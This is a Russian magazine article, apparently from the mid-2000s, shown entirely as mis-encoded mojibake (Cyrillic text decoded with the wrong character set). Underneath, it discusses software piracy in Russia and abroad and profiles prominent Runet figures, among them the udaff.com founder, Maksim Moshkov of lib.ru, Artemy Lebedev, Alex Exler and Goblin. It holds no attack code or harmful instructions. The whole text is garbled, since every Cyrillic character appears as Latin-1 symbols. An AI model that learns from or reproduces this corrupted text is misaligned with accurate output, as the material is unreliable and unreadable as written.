êðóïíûå çàäåðæàíèÿ âñå-òàêè ïðîèñõîäÿò. Òàê, íàïðèìåð, ìåñÿö íàçàä
â Ñàìàðå íà îäíîì èç ïîäïîëüíûõ ñêëàäîâ èçúÿëè îêîëî ìèëëèîíà CD,
óïàêîâî÷íóþ òåõíèêó, àêöèçíûå ìàðêè. Ñòîèìîñòü ýòîé ïàðòèè îöåíèëè
â 100�150 ìëí. ðóáëåé, ÷òî óæå ïðîõîäèò ïî ñòàòüå 146 («íàðóøåíèå
àâòîðñêèõ è ñìåæíûõ ïðàâ â îñîáî êðóïíûõ ðàçìåðàõ») è ïðîñòûì øòðà-
ôîì ïèðàòàì íå îòäåëàòüñÿ. Õîòÿ þðèñòû óòâåðæäàþò, ÷òî íåâîçìîæíî
çà íåñêîëüêî äíåé ïðîâåñòè îöåíêó òàêîé ïàðòèè � òîëüêî îïèñü ìîãëà
çàíÿòü íåñêîëüêî ëåò. Äà è ïðîãðàììíûé ðûíîê Ñàìàðû íåâåëèê, îáî-
ðîò â 300 òûñ. äèñêîâ áîëåå ïðàâäîïîäîáåí, ÷åì ìèëëèîí. 

[áóäóùåå] Â ïîñëåäíåå âðåìÿ íàáëþäàåòñÿ èíòåðåñíàÿ òåíäåíöèÿ. Â
ñâÿçè ñî ñíèæåíèåì öåí íà îðãòåõíèêó, ÷èñëî ïåðñîíàëîê â íàøåé ñòðà-
íå óâåëè÷èâàåòñÿ ñ êàæäûì ãîäîì. Ïî ëîãèêå, óðîâåíü ïèðàòñòâà äîë-
æåí ðàñòè ïðÿìî ïðîïîðöèîíàëüíî ðîñòó êîëè÷åñòâà êîìïîâ, íî ýòîãî íå
ïðîèñõîäèò. Âîçìîæíî, âñå äåëî â ó÷åòå óðîâíÿ ïèðàòñòâà. Âåäü ïðàâî-
çàùèòíûå îðãàíèçàöèè ñîñòàâëÿþò ñâîè îò÷åòû ïî óðîâíþ ðûíî÷íûõ
ïðîäàæ ïèðàòñêîé ïðîäóêöèè. À âîò ñêà÷èâàíèÿ âàðåçà ñ ôòï-ñåðâåðîâ
â îò÷åòû íå âõîäèò, âðÿä ëè ìîæíî äàòü ýòîì ïðàâäèâóþ îöåíêó. Óðî-
âåíü ïèðàòñòâà äàæå ñíèæàåòñÿ íà íåñêîëüêî ïðîöåíòîâ åæåãîäíî. Ýòî
õàðàêòåðíî íå òîëüêî äëÿ Ðîññèè, íî è äëÿ âñåãî ìèðà. Ïðàâäà, ïîêà ìû
íå âûëåçëè èç ýêîíîìè÷åñêîé ÿìû, ãîâîðèòü î òîì, ÷òî ïèðàòñòâî ñîé-
äåò íà íåò, ãëóïî.
Ðåàëüíî ïîâëèÿòü íà ñèòóàöèþ ìîãóò ñàìè ðàçðàáîò÷èêè, ìíîãèå èç êî-
òîðûõ íå ïîíèìàþò, ÷òî ñíèæåíèå öåí íà èõ ñîôò óâåëè÷èò äîëþ ëåãàëü-
íûõ ïðîäàæ. Òå, êòî ñìîòðèò íà âåùè òðåçâî, íå ãðåçÿò ìèëëèàðäíûìè
ïðèáûëÿìè è óñòàíàâëèâàþò äîñòóïíûå ðîññèéñêîìó ïîëüçîâàòåëþ öå-
íû. Íàïðèìåð, êîìïàíèÿ «Àãàâà» ïðîäàåò ñâîé àíòèñïàìîâûé ôèëüòð
çà 15 äîëëàðîâ, à àíòèâèðóñ Êàñïåðñêîãî ìîæíî êóïèòü çà 30 àìåðèêàíñ-
êèõ ðóáëåé. Åñëè òû ìîæåøü ñåáå ýòî ïîçâîëèòü, íå ïîñêóïèñü âëîæèòü
äåíüãè â íàøèõ êîäåðîâ. Ìíîãèå ïðîãðàììû ñòîÿò ñâîèõ äåíåã[X
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ÏÈÐÀÒÑÒÂÎ ÇÇÀ ÐÐÓÁÅÆÎÌ
Ïèðàòñòâà çà ðóáåæîì ìåíüøå, ÷åì â Ðîññèè. Êîíå÷íî, îáúå-
ìû íå òå, äà è íå ïðîäàþò ïèðàòñêèå äèñêè â îòêðûòóþ, êàê ó
íàñ. Â îñòàëüíîì � òå æå ïîäïîëüíûå öåõà è ñúåìíûå êâàðòè-
ðû. Çàêîíîäàòåëüñòâî çà áóãðîì, êàê èçâåñòíî, íàìíîãî æåñò÷å
ïî îòíîøåíèþ ê ïèðàòàì, íî è äåìîêðàòè÷åñêèå ñâîáîäû òàì
îõðàíÿþòñÿ íà áîëåå âûñîêîì óðîâíå. Ïîýòîìó òàìîøíèå ïî-
ëèñìåíû íå ìîãóò ïðîñòî òàê âîðâàòüñÿ ê òåáå â õàòó. Íà ýòî
íóæíà êó÷à áóìàæåê, ïîëó÷èòü êîòîðûå íå âñåãäà ëåãêî. Çàáó-
ãîðíûå ïèðàòû îñòîðîæíåå ðîññèéñêèõ êîëëåã, ìíîãèå èç íèõ
ïðîäàþò òîâàð òîëüêî ÷åðåç Èíòåðíåò. Ãîä íàçàä â Èñïàíèè
ïðîèçîøåë ëþáîïûòíûé ñëó÷àé. Ïîëèöèÿ ïîâÿçàëà ïèðàòîâ è
èçúÿëà áîëåå 10 òûñÿ÷ êîïèé ïèðàòñêîé âèíäû. Íî åñëè ïðî-
äóêöèþ íàøèõ ïèðàòîâ îòëè÷èòü îò ëèöåíçèîííîé î÷åíü ëåãêî
(îòñóòñòâèå óïàêîâêè è ïàïî÷êà crack â êîðíå äèñêà), òî ïîä-
äåëêà èñïàíöåâ óäèâèëà äàæå îïåðàòèâíèêîâ. Ïèðàòû òùà-
òåëüíî ñêîïèðîâàëè íå òîëüêî êîðîáêó, íî ãîëîãðàììó è äðó-
ãèå âèäû çàùèòû. Âûäàâàëîñü âñå ýòî çà ëèöåíçèþ è ïðîäàâà-
ëàñü ïî ñîîòâåòñòâåííîé öåíå. Çà äâå íåäåëè ðàáîòû ïèðàòû
ñðóáèëè íåñêîëüêî ìèëëèîíîâ äîëëàðîâ.
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[Óäàâ]
Ïðî êóëüòóðó ïàäîíêîâ (èìåííî ÷åðåç «à») è udaff.com ÿ óæå ïèñàë,
òàê ÷òî ïðåäñòàâëåíèå òû èìååøü. Òû òàêæå äîëæåí çíàòü, ÷òî âåð-
õîâíûì ïðåäâîäèòåëåì ýòîé áàíäû ÿâëÿåòñÿ 35-ëåòíèé Äìèòðèé Ñî-
êîëîâñêèé, èçâåñòíûé êàê Óäàâ. Íî äåëî â òîì, ÷òî Äèìà øèðîêî èç-
âåñòåí íå òîëüêî â êîíòðêóëüòóðíîé ñðåäå, íî è  î÷åíü çíàìåíèòàÿ
ëè÷íîñòü â ðóíåòå. Õîòÿ áû ïîòîìó, ÷òî óäàôô.êîì � îäèí èç ñàìûõ
÷àñòîïîñåùàåìûõ ðàçâëåêàòåëüíûõ ñàéòîâ â Ðîññèè è åãî ÿâëåíèå
îæèâëåííî îáñóæäàåòñÿ äàæå  ïåðåäîâîé èíòåëëèãåíöèåé.
Óäàâ � ÷åëîâåê, êàê íè ñòðàííî, îáðàçîâàííûé, ñåìåéíûé, ó íåãî
åñòü æåíà, ðåáåíîê. Ïðè÷åì æåíà îá óâëå÷åíèè ìóæà ïðåêðàñíî
çíàåò, ìàëî òîãî, ïåðèîäè÷åñêè çàõîäèò íà ñàéò è ÷èòàåò íåêîòî-
ðûå êðåàòèâû. Íà÷èíàë Óäàâ, êàê è ìíîãèå êîíòðêóëüòóðùèêè, íà
ñàéòå fuck.ru, ïèñàë òóäà ñâîè ïåðâûå êðåàòèâû. À ïîòîì â 2000-ì
ãîäó ðåøèë îòäåëèòüñÿ è ñîçäàë ñîáñòâåííûé ïðîåêò udaff.com.
Ïåðâîíà÷àëüíî ýòî áûëà ñêîðåå äîìàøíÿÿ ñòðàíè÷êà, ÷åì ñåðüåç-
íûé ïðîåêò, íî åäèíîìûøëåííèêè îêàçàëè õîðîøóþ ïîääåðæêó, è
ðåñóðñ ñòàë ñòðåìèòåëüíî ðàçâèâàòüñÿ. Çà ãîä îí âûðîñ èç «î÷å-
ðåäíîé ÊÊ-õîóìïàãè» â öåíòðàëüíûé ðåñóðñ ïàäîíêîâ ñåòè. Îáíîâ-
ëåíèå íà óäàâå ïðîèñõîäèò íå ïðîñòî åæåäíåâíî, à åæå÷àñíî. Àâ-
òîðû ñòðî÷àò ñâîè «êðåî» ñ çàâèäíûì ïîñòîÿíñòâîì, îöåíèâàþò â
êîììåíòàõ êðåàòèâû äðóã äðóãà, îáñóæäàþò íàñóùíûå ïðîáëåìû è
çàæèãàþò ïî ïîëíîé. «Ìû íå ãîâîðèì î ñâîáîäå ñëîâà, ìû ðåàëü-
íî äåëàåì åå», � ïðèçíàåòñÿ Óäàâ â èíòåðâüþ æóðíàëèñòàì, à êðà-
ñî÷íûå ñëîâà íà «Õ», «Á» è «Ï», îáèëüíî óêðàøàþùèå ñàéò, ÿâëÿ-
þòñÿ òîìó ïðåêðàñíûì äîêàçàòåëüñòâîì. Õîòÿ ÿ óòðèðóþ, âåäü âñå
óæå çíàþò, ÷òî ìàò íà óäàâå íå ãëàâíîå, à ãëàâíîå �  èäåÿ. Åñëè ó
òåáÿ ñëîæèëîñü äðóãîå ìíåíèå � òåáå ñòîèò ïðîíèêíóòüñÿ ÷òåíèåì
ðåñóðñà ïîäîëüøå.
Ïîñëåäíåå âðåìÿ, íàñêîëüêî ÿ çíàþ, Óäàâ íå ðàáîòàåò, è âñå ñâîå
âðåìÿ ïîñâÿùàåò ïðîåêòó. Òàê êàê àâòîðîâ ó ðåñóðñà ìíîãî, îò-
ôèëüòðîâàòü âñå ïðèñëàííûå êðåàòèâû çàíèìàåò êó÷ó âðåìåíè, â
òî âðåìÿ êàê åäèíñòâåííûì èñòî÷íèêîâ äîõîäà ÿâëÿåòñÿ ðåêëàìà ñ
áàííåðîâ. Êîå â ÷åì ïîääåðæèâàòü udaff.com ïîìîãàþò íåñêîëüêî
ëþäåé, îäíàêî âåðõîâíàÿ âëàñòü ïðèíàäëåæèò Óäàâó, è èìåííî îí
ïðèíèìàåò âñå ðåøåíèÿ îòíîñèòåëüíî ñàéòà. «Udaff.com � ýòî ÿ»,
� ãîâîðèò Óäàâ, õîòÿ ÿ áû åùå äîáàâèë ìíîãîòûñÿ÷íóþ àðìèþ
ïîêëîííèêîâ. Â ïîñëåäíåå âðåìÿ ðåñóðñ âñå áîëüøå ïðèâëåêàåò
ÑÌÈ, ïðåäâîäèòåëÿ äàæå ïðèãëàøàëè íà ðàäèî «Ìàêñèìóì» (ÿ òó
ïåðåäà÷ó, êñòàòè, ñëóøàë, è Óäàâ ìíå ïîêàçàëñÿ íàìíîãî àäåêâàò-
íåå âåäóùèõ). Ñëîâîì, èíòåðåñ ê «ïåëîòêàì» è «ïåðâîíàõàì» ó ìî-
ëîäîãî ïîêîëåíèÿ ðàñòåò, ÷òî íå ìîæåò íå ðàäîâàòü, ãû-ãû.

[Ìàêñèì Ìîøêîâ]
Åñëè ñîáðàòü âñå êíèãè, êîòîðûå õðàíÿòñÿ â áèáëèîòåêå Ìîøêîâà è
ðàñïå÷àòàòü íà ïðèíòåðå, áóìàæíîé äîðîæêîé èç íèõ ìîæíî
çàïðîñòî îïîÿñàòü çåìíîé øàð. Çäåñü åñòü âñå: äåòåêòèâû,
ôàíòàñòèêà, èñòîðèÿ, ïîýçèÿ, ïðèêëþ÷åíèÿ, çàðóáåæíàÿ ëèòåðàòóðà
è ðóññêèå ïðîèçâåäåíèÿ, êíèãè èçâåñòíåéøèõ ïèñàòåëåé è
íà÷èíàþùèõ àâòîðîâ. Áèáëèîòåêà Ìàêñèìà Ìîøêîâà ñàìàÿ
áîëüøàÿ â ðóíåòå, åå áàçîé åæåäíåâíî ïîëüçóþòñÿ äåñÿòêè òûñÿ÷
ëþäåé. Âðÿä ëè Ìàêñèì ìîã ïðåäóãàäàòü òàêîé ðàçìàõ, êîãäà â 1993
ãîäó âûëîæèë êîëëåêöèþ ýëåêòðîííûõ êíèã íà ñâîåì ñàéòå.
Êîëëåêöèÿ ñêîïèëàñü çà äîëãîå âðåìÿ, ïîýòîìó áûëà âïå÷àòëÿþùåé,
à âîò ñàéò � òàê ñåáå. Îáû÷íàÿ äëÿ òåõ âðåìåí õîóìïàãà áåç îñîáûõ
èçûñêîâ. Ìàêñèì íå ïëàíèðîâàë äåëàòü ïîïóëÿðíûé ðåñóðñ äëÿ
êíèãîëþáîâ, ïîëó÷èëîñü ýòî ñàìî ñîáîé. Êòî-òî ñëó÷àéíî çàøåë,
ðàññêàçàë çíàêîìûì� â îáùåì, êàê ýòî îáû÷íî áûâàåò. Ïðàâäà, â
1994 ãîäó ïîñòîÿííûõ ÷èòàòåëåé åùå áûëî íå áîëüøå äåñÿòêà, ðàñòè
ïîñåùàåìîñòü ñòàëà ïîñëå òîãî, êàê èíòåðíåò âûøåë â ìàññû.
Òåïåðü êîëè÷åñòâî ïîñåòèòåëåé http://lib.ru ñîñòàâëÿåò áîëåå 40
òûñÿ÷ â äåíü. Çàâåäóåò ñâîèì ñàéòîì Ìàêñèì ñàì, à òåõïîääåðæêîé
çàïðàâëÿåò ñïåöèàëüíî ïðèãëàøåííûé ïðîãðàììèñò. Áîëüøóþ ðîëü
â ðàçâèòèè áèáëèîòåêè èãðàþò ñàìè ïîñåòèòåëè, ïðèñûëàÿ íîâûå
êíèãè. Åñòü ýíòóçèàñòû, êîòîðûå äåëàþò ýòî ïîñòîÿííî,
çàíèìàÿñü ìîíèòîðèíãîì íîâîñòåé ëèòåðàòóðû è îòáèðàÿ
äîñòîéíûå âåùè. Ìíîãèì ïðè ïåðâîì çàõîäå íà ëèá.ðó áðîñàåòñÿ
â ãëàçà ïðîñòîâàòûé, åñëè íå ñêàçàòü áîëüøå, äèçàéí ñàéòà. Íà
ñàìîì äåëå, îôîðìëåíèå íå ìåíÿëîñü ñ 1994 ãîäà. «Ëåíü
ïåðåäåëûâàòü», � æàëóåòñÿ Ìàêñèì. Âïðî÷åì, ýòî íå îòïóãèâàåò
íàñòîÿùèõ öåíèòåëåé ëèòåðàòóðû. Åñòü ïîèñêîâèê, åñòü
ñîðòèðîâêà ïî æàíðàì è àâòîðàì, åñòü ðåéòèíãè � ÷òî åùå íàäî?
Îòöó ñàéòà ÷àñòî çàäàþò âîïðîñ îá àâòîðñêèõ ïðàâàõ, íà ÷òî îí
îòêðîâåííî îòâå÷àåò: «Êîãäà åñòü âîçìîæíîñòü ñâÿçàòüñÿ �
ðàçðåøåíèå ñïðàøèâàþ». Âîîáùå, çà 11 ëåò ñóùåñòâîâàíèÿ
ïðîåêòà, ñëó÷àåâ, êîãäà àâòîðû ïðîñèëè óáðàòü ñâîè ðàáîòû,
áûëî íå áîëüøå äâàäöàòè. Â òî æå âðåìÿ îòçûâîâ ñ
áëàãîäàðíîñòÿìè îò çàðóáåæíûõ ÷èòàòåëåé, ó êîòîðûõ íåò
âîçìîæíîñòè äîñòàòü êíèãó â ñâîåé ñòðàíå, ïðèõîäèò íàìíîãî
áîëüøå. Ñëó÷àëèñü è íåïðèÿòíûå èñòîðèè. Íåñêîëüêî ëåò íàçàä
îäèí àâòîð íà ñëîâàõ ðàçðåøèë Ìàêñèìó îïóáëèêîâàòü åãî
òâîðåíèå, ïîñëå ÷åãî ïîäàë â ñóä, ññûëàÿñü íà îòñóòñòâèå
ïèñüìåííîãî ðàçðåøåíèÿ. Ïîòðåáîâàë ìèëëèîí ðóáëåé çà
ìîðàëüíûé óùåðá, íî ïîñëå ñóäåáíîé òÿæáû, ïðîäëèâøåéñÿ
ïîëòîðà ãîäà, ïîëó÷èë òðè òûñÿ÷è è «ôè» âñåãî ðóíåòà.
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ÐÓÍÅÒ ÓÆÅ ÄÀÂÍÎ ÂÛÐÎÑ ÈÇ ÒÅÑÍÎÃÎ
ÑÎÎÁÙÅÑÒÂÀ, ÃÄÅ ÂÑÅ ÄÐÓÃ ÄÐÓÃÀ

ÇÍÀËÈ, ÒÅÏÅÐÜ Â ÍÀØÅÉ ÑÒÐÀÍÅ ÑÅÒÜ
ÞÇÀÅÒ ÊÀÆÄÛÉ ÂÒÎÐÎÉ. ÏÎ ÏÎÑËÅÄ-

ÍÈÌ ÄÀÍÍÛÌ Ê ÊÎÍÖÓ 2005 
ÃÎÄÀ Â ÐÎÑÑÈÈ ÍÀÑ×ÈÒÛÂÀÅÒÑß ÎÊÎ-
ËÎ 20 ÌÈËËÈÎÍÎÂ ÈÍÅÒ×ÈÊÎÂ. ÄÀÆÅ

ÏÅÍÑÈÎÍÅÐÛ ÎÖÅÍÈËÈ ÊÐÓÒÈÇÍÓ
ÂÈÐÒÓÀËÜÍÛÕ ÐÀÄÎÑÒÅÉ È ÒÐÀÒßÒ

ÏÅÍÑÈÞ ÍÀ ÊÀÐÒÎ×ÊÈ ÎÒ ÂÝÁ-ÏËÀÑ.
ÍÎ, ÊÀÊ È Â ËÞÁÎÉ ÄÐÓÃÎÉ ÁÎËÜØÎÉ
ÒÓÑÎÂÊÅ, Â ÐÓÍÅÒÅ ÅÑÒÜ ËÞÄÈ, ÊÎÒÎ-
ÐÛÅ ÎÒÊÐÎÂÅÍÍÎ ÈÇ ÍÅÅ ÂÛÄÅËßÞÒ-
Ñß, ÇÍÀÌÅÍÈÒÎÑÒÈ, ÈÌÅÍÀ È ÇÀÑËÓÃÈ
ÊÎÒÎÐÛÕ ÈÇÂÅÑÒÍÛ ÁÎËÜØÅÉ ×ÀÑÒÈ

ÐÓÑÑÊÎÉ ÑÅÒÈ. ÈÌÅÍÍÎ Î ÒÀÊÈÕ 
ËÞÄßÕ ß ÒÅÁÅ ÑÅÃÎÄÍß ÐÀÑÑÊÀÆÓ 

| mindw0rk (mindw0rk@gameland.ru)
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[Àðòåìèé Ëåáåäåâ]
Àðòåìèé Ëåáåäåâ â îáëàñòè âåá-äèçàéíà èçâåñòåí íå ìåíüøå, ÷åì Ïóòèí
â ïîëèòè÷åñêèõ êðóãàõ. Ýòîò ÷åëîâåê ñòàë îäíèì èç ïåðâûõ, êòî â íà÷àëå
90-õ íà÷àë äèçàéíèòü ñàéòû. Òîãäà ýòî óâëå÷åíèå áûëî ñêîðåå õîááè, ïðî-
ôåññèîíàëüíî Àðòåìèé çàíèìàëñÿ îôîðìëåíèåì ïå÷àòíûõ èçäàíèé â
ñîáñòâåííîé àðò-ñòóäèè «Àðòîãðàôèêà». Íî â 1995 ãîäó ïðèîðèòåòû ñìå-
íèëèñü, è Ëåáåäåâ ðåøèë ïîëíîñòüþ óãëóáèòüñÿ â âåá-äèçàéí. Íà ïàÿõ ñ
äâóìÿ çíàêîìûìè áûëà îñíîâàíà ñòóäèÿ WebDesign, ïîçäíåå ïåðåèìåíî-
âàííàÿ â «Ñòóäèþ Àðòåìèÿ Ëåáåäåâà», ðàáîòà íàä ðàñêðóòêîé íà÷àëàñü.
Ïåðâûìè çàêàç÷èêàìè áûëè ìóçûêàëüíàÿ ãðóïïà «Àêâàðèóì», äëÿ êîòîðîé
äèçàéíåðû ðàçðàáîòàëè îôèöèàëüíûé ñàéò, èíòåðíåò-ïðîâàéäåð Rinet, ïà-
ðà æóðíàëîâ è ðàäèîñòàíöèé. Ê 1997 ãîäó ñòóäèÿ ñòàëà óæå èçâåñòíîé, åå
óñëóãàìè ïîëüçîâàëèñü ìíîãèå, âêëþ÷àÿ Öåíòðàëüíûé Áàíê ÐÔ è ïîèñêî-
âóþ êîìïàíèþ Yandex.  Ðàñêðóòêà ñòóäèè âåëàñü ñàìèì Ëåáåäåâûì ñ ïî-
ìîùüþ ãðàìîòíîãî âûñòðîåííîãî ïèàðà è ñî âðåìåíåì êîëè÷åñòâî çàêà-
çîâ ïîçâîëèëî ðàñøèðèòü ðàáî÷èé êîëëåêòèâ äî 100 ÷åëîâåê.
Õîòÿ ñåé÷àñ â îáëàñòè âåá-äèçàéíà «Ñòóäèÿ Àðòåìèÿ Ëåáåäåâà» ÿâëÿåòñÿ
ñàìûì óçíàâàåìûì è ðàñêðó÷åííûì áðåíäîì (îíà åäèíñòâåííàÿ, ó êîòî-
ðîé åñòü ïðåäñòàâèòåëüñòâà â äðóãèõ ñòðàíàõ), ìíîãèå ïðîôåññèîíàëüíûå
äèçàéíåðû ÷àñòî ïîäòðóíèâàþò íàä ñâîèì êîíêóðåíòîì. Ìîë, ñòàðèíà Ëå-
áåäåâ â äèçàéíå óæå îòæèë ñâîå è ïîðà áû åìó íà ïåíñèþ. Ñàì Àðòåìèé
òàê íå ñ÷èòàåò, íà ñàéòå åãî ñòóäèè äàæå åñòü ðàçäåë, ãäå ïåðå÷èñëÿþòñÿ
âñå åãî çàñëóãè. Òóäà âõîäèò âåñü ñïåêòð èõ çàíÿòèé: îò «Äåëàåì ñàéòû»
äî «Ñî÷èíÿåì ñëîãàíû». Ëåáåäåâ òàêæå ïðèçíàëñÿ, ÷òî íå ïðèãëàøàåò ê
ñåáå òåõ, êòî ðàáîòàåò õóæå åãî, à óæ ñâîè ñïîñîáíîñòè îí öåíèò âûñîêî.
Ñ èìåíåì Àðòåìèÿ Ëåáåäåâà ñâÿçàíî ìíîæåñòâî ñêàíäàëîâ. Â 1996 ãîäó,
êîãäà íà÷àëà ñâîå ðàçâèòèå îíëàéíîâàÿ æóðíàëèñòèêà è ïîÿâèëîñü ìíîæå-
ñòâî ñåòåâûõ îáîçðåâàòåëåé, ðóíåò ïîçíàêîìèëñÿ ñ ÿðêîé äåâî÷êîé Êàòåé
Äåòêèíîé. Îíà ñòàëà àâòîðîì ÿçâèòåëüíîãî öèêëà «Îáçèðàíèÿ ðóññêîãî Èí-
òåðíåòà», â ðàìêàõ êîòîðîãî Êàòåíüêà äåëèëàñü ñâîèì ìíåíèåì î ïîñåùàå-
ìûõ åþ ñàéòàõ. Îáû÷íî ýòî ìíåíèå áûëî îäíîçíà÷íûì è íîñèëî èçäåâà-
òåëüñêèé õàðàêòåð. Â 97-ì ãîäó â æóðíàëå CrazyWeb ïîÿâèëàñü ñòàòüÿ, â êî-
òîðîé Äåòêèíó ðàçîáëà÷èëè è ïðèçíàëè âèðòóàëüíûì ïåðñîíàæåì, à àâòî-
ðîì åãî îáúÿâèëè Àðòåìèÿ Ëåáåäåâà. Ñàéò ñòóäèè Ëåáåäåâà, êñòàòè, áûë îä-
íèì èç íåìíîãèõ, î êîòîðîì Êàòÿ îòçûâàëàñü ñ áîëüøîé òåïëîòîé. Øóìèõà
ïîäíÿëàñü ãðàíäèîçíàÿ, Àðòåìèÿ äàæå ïûòàëèñü ïðèâëå÷ü ê óãîëîâíîé îòâå-
òñòâåííîñòè çà îñêîðáëåíèå è êëåâåòó íà ñâîèõ êîíêóðåíòîâ. Âñå çàêîí÷è-
ëîñü òåì, ÷òî îäíèì ïðåêðàñíûì äíåì íà ñòðàíè÷êå «Îáçèðàíèé» ïîÿâèëàñü
òðàãè÷åñêàÿ âåñòü: Êàòþøà ïîïàëà â àâòîêàòàñòðîôó è ñêîí÷àëàñü.
Òàêæå çà Ëåáåäåâûì çàêðåïèëàñü ñëàâà êèáåðñêâîòòåðà íîìåð îäèí â ðó-
íåòå, òàê êàê îí çàðåãèñòðèðîâàë ìíîæåñòâî ïðèâëåêàòåëüíûõ äîìåíîâ è
âûñòàâèë èõ íà ïðîäàæó ïî êîñìè÷åñêèì öåíàì (öåíà íà áîëüøèíñòâî èç
íèõ íà÷èíàåòñÿ îò 5000$).

[Àëåêñ Ýêñëåð]
Áåçóñëîâíî, Ýêñëåð � ñàìûé èçâåñòíûé è ïîïóëÿðíûé þìîðèñòè÷åñêèé
ïèñàòåëü â ðóíåòå. Åãî ïåðëû áûëè èçâåñòíû åùå âî âðåìåíà ÔÈÄÎ, âî
âòîðîé ïîëîâèíå 90-õ. Ïðàâäà, òîãäà îíè íîñèëè õàðàêòåð îáû÷íûõ ïîñ-
òîâ â ýõîêîíôåðåíöèè íà æèçíåííûå òåìû. Íî íàïèñàíî áûëî õîðîøî,
ëþäÿì íðàâèëîñü, è ñî âðåìåíåì äàæå ïîÿâèëàñü ýõà PVT.EXLER �
ïðèâàòíûé êëóá ÷èòàòåëåé. Ïðîôåññèîíàëüíûì ïèñàòåëåì, âïðî÷åì,
Àëåêñ íå áûë. À áûë êîìïüþòåðùèêîì, ðóêîâîäèë òåõîòäåëîì è êîäèë
ïðîãðàììû. Â òå äàëåêèå ôèäîøíûå âðåìåíà õîäèëà íàøóìåâøàÿ èñ-
òîðèÿ î òîì, ÷òî Ýêñëåð � íà ñàìîì äåëå âèðòóàë, è ïîä ýòèì ïñåâäî-
íèìîì ïèøåò öåëàÿ êîìàíäà èç 6 ÷åëîâåê. Öåëüþ êîâàðíîé àôåðû ÿêî-
áû áûëî çàõâàòèòü âûñøóþ âëàñòü â ðóññêîì ÔÈÄÎ ïóòåì ðàñêðóòêè
ïåðñîíàæà. Ëåîíèä Êàãàíîâ, êîòîðûé âûñòóïèë â ðîëè «îáëè÷èòåëÿ»,
ïðèâåë òîìó íåîñïîðèìûå äîêàçàòåëüñòâà. Ìîë, ëó÷øèé ñïîñîá çàñòà-
âèòü ëþäåé ïîâåðèòü â ðåàëüíîñòü âèðòóàëà � íàäåëèòü åãî æèçíåííû-
ìè äåòàëÿìè, à óæ êòî, êàê íå Ýêñëåð, ðàñïèñûâàë â ÔÈÄÎ ñâîè ïîõîæ-
äåíèÿ è ïîõîæäåíèÿ ñâîåãî êîòà âî âñåõ äåòàëÿõ? Èëè òàêàÿ íåïîõî-
æåñòü åãî ïîñòîâ� âåäü áûëî î÷åâèäíî, ÷òî èõ ïèñàëè ðàçíûå ëþäè! Ïî-
òîì óæå âñå óçíàëè, ÷òî âåëèêîå ðàçîáëà÷åíèå Ýêñëåðà áûëî øóòêîé
åãî äðóãà, íî ïîâåëèñü, ïîìíèòñÿ, ìíîãèå.
Â êîíöå 90-õ, êîãäà Èíòåðíåò áûë óæå â ìîäå, Àëåêñ çàáèë íà ÔÈÄÎ è
ïåðåáðàëñÿ â îêðóæåíèå, ãäå âîçìîæíîñòè äëÿ òâîð÷åñòâà áûëè íåñ-
ðàâíèìî âûøå. À 14 ÿíâàðÿ 1999 ãîäà ïîÿâèëñÿ àâòîðñêèé ñàéò
Exler.ru. Ïåðâîå âðåìÿ ïîñåòèòåëåé áûëî íåìíîãî, è, ÷òîáû ïðèâëå÷ü
íîâûõ ëþäåé, Ýêñëåð ðåøèë ïèñàòü. Ìíîãî, ÷àñòî è ðàçíîîáðàçíî. Êàê
ãîâîðèò ñàì Ýêñëåð, ïî ïðèðîäå îí ÷åëîâåê ëåíèâûé, è èìåííî ëåíü
ñòàëà ïèíêîì äëÿ àêòèâíûõ äåéñòâèé. «ß çíàþ òî÷íî, ÷òî åñëè íå áóäó
ïèñàòü êàæäûé äåíü, òî íå áóäó ïèñàòü è ðàç â íåäåëþ», � îáúÿñíèë
îí, è ïðèäåðæèâàåòñÿ ýòîãî ïðàâèëà ïî ñåé äåíü, âûäàâàÿ ïî 30�40
êèëîáàéò â ñóòêè. Ïîñëå ïóáëèêàöèè íåñêîëüêèõ âåá-îáçîðîâ, þìîðå-
ñîê è íîâîñòåé, 26 ôåâðàëÿ 1999 ãîäà íà ñàéòå ïîÿâèëñÿ ïåðâûé âû-
ïóñê «Äíåâíèêà Âàñè Ïóïêèíà». Äóìàþ, ìíîãèå ÷èòàëè öèêë «Çàïèñêè
æåíû ïðîãðàììèñòà» � íåñêîëüêî ëåò íàçàä ññûëêè íà ýòîò òåêñò õî-
äèëè ïî äåñÿòêàì ôîðóìîâ. Ñî âðåìåíåì ñàéò ïîïîëíÿëñÿ íîâûìè
ðàçäåëàìè: «Ãîðîñêîï» ñ çàáàâíûìè ïðåäñêàçàíèÿìè, «Áàííèçìû» ñî
ñòåáíûìè èëëþñòðàöèÿìè, «Íåïóòåâûå çàìåòêè», ãäå àâòîð ïîâåñòâó-
åò î ñâîèõ ïðèêëþ÷åíèÿõ çà ðóáåæîì, ïîçíàâàòåëüíûå «Êèíîðåöåí-
çèè», è ýòî íå âåñü ñïèñîê. Ñåé÷àñ íà Exler.ru çàõîäèò îêîëî 15 òûñÿ÷
÷åëîâåê åæåäíåâíî, ÷òî ñîâñåì íåïëîõî äëÿ ñàéòà, êîòîðûé íàïîëíÿ-
åòñÿ îäíèì ÷åëîâåêîì. Ïîìèìî îñíîâíîãî ñâîåãî ïðîåêòà Àëåêñ óñïå-
âàåò ïèñàòü äëÿ æóðíàëîâ, ðàáîòàòü íàä êíèãàìè (îí âûïóñòèë íåñ-
êîëüêî êîìïüþòåðíûõ ó÷åáíèêîâ), âåñòè ïåðåäà÷è íà ðàäèî è êîëîíêè
íà äðóãèõ ñàéòàõ. [X
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[Ãîáëèí]
Ñîìíåâàþñü, ÷òî â ðóíåòå îñòàëèñü ëþäè, íå ñìîòðåâøèå ôèëüìû â ïå-
ðåâîäå Ãîáëèíà. «Áðàòñòâî è êîëüöî», «Øìàòðèöà», «Ñ3.14çäèëè»�
ñåé÷àñ ýòè ôèëüìû äàæå òðàíñëèðóþòñÿ ïî öåíòðàëüíîìó òåëåâèäåíèþ.
È çà êàæäûì èç ýòèõ ïåðåâîäîâ ñòîèò îäèí ÷åëîâåê � Äìèòðèé Ïó÷êîâ,
îí æå îïåðóïîëíîìî÷åííûé Ãîáëèí.
Ðîäèëñÿ Äèìà â 1961 ãîäó â âîåííîì ãîðîäêå Êèðîâîãðàäà â ñåìüå ïîëêîâ-
íèêà è ó÷èòåëüíèöû. Òàê êàê îòöà ÷àñòî ïåðåâîäèëè íà íîâûå ìåñòà, ïàðåíü
óñïåë ñìåíèòü øåñòü øêîë è äâà èíòåðíàòà. Äåòñòâî áûëî äàëåêî íå ðàäóæ-
íîå, Äèìó ÷àùå âîñïèòûâàëè êíóòîì, ÷åì ïðÿíèêîì. Ïîñëå âîçâðàùåíèÿ èç
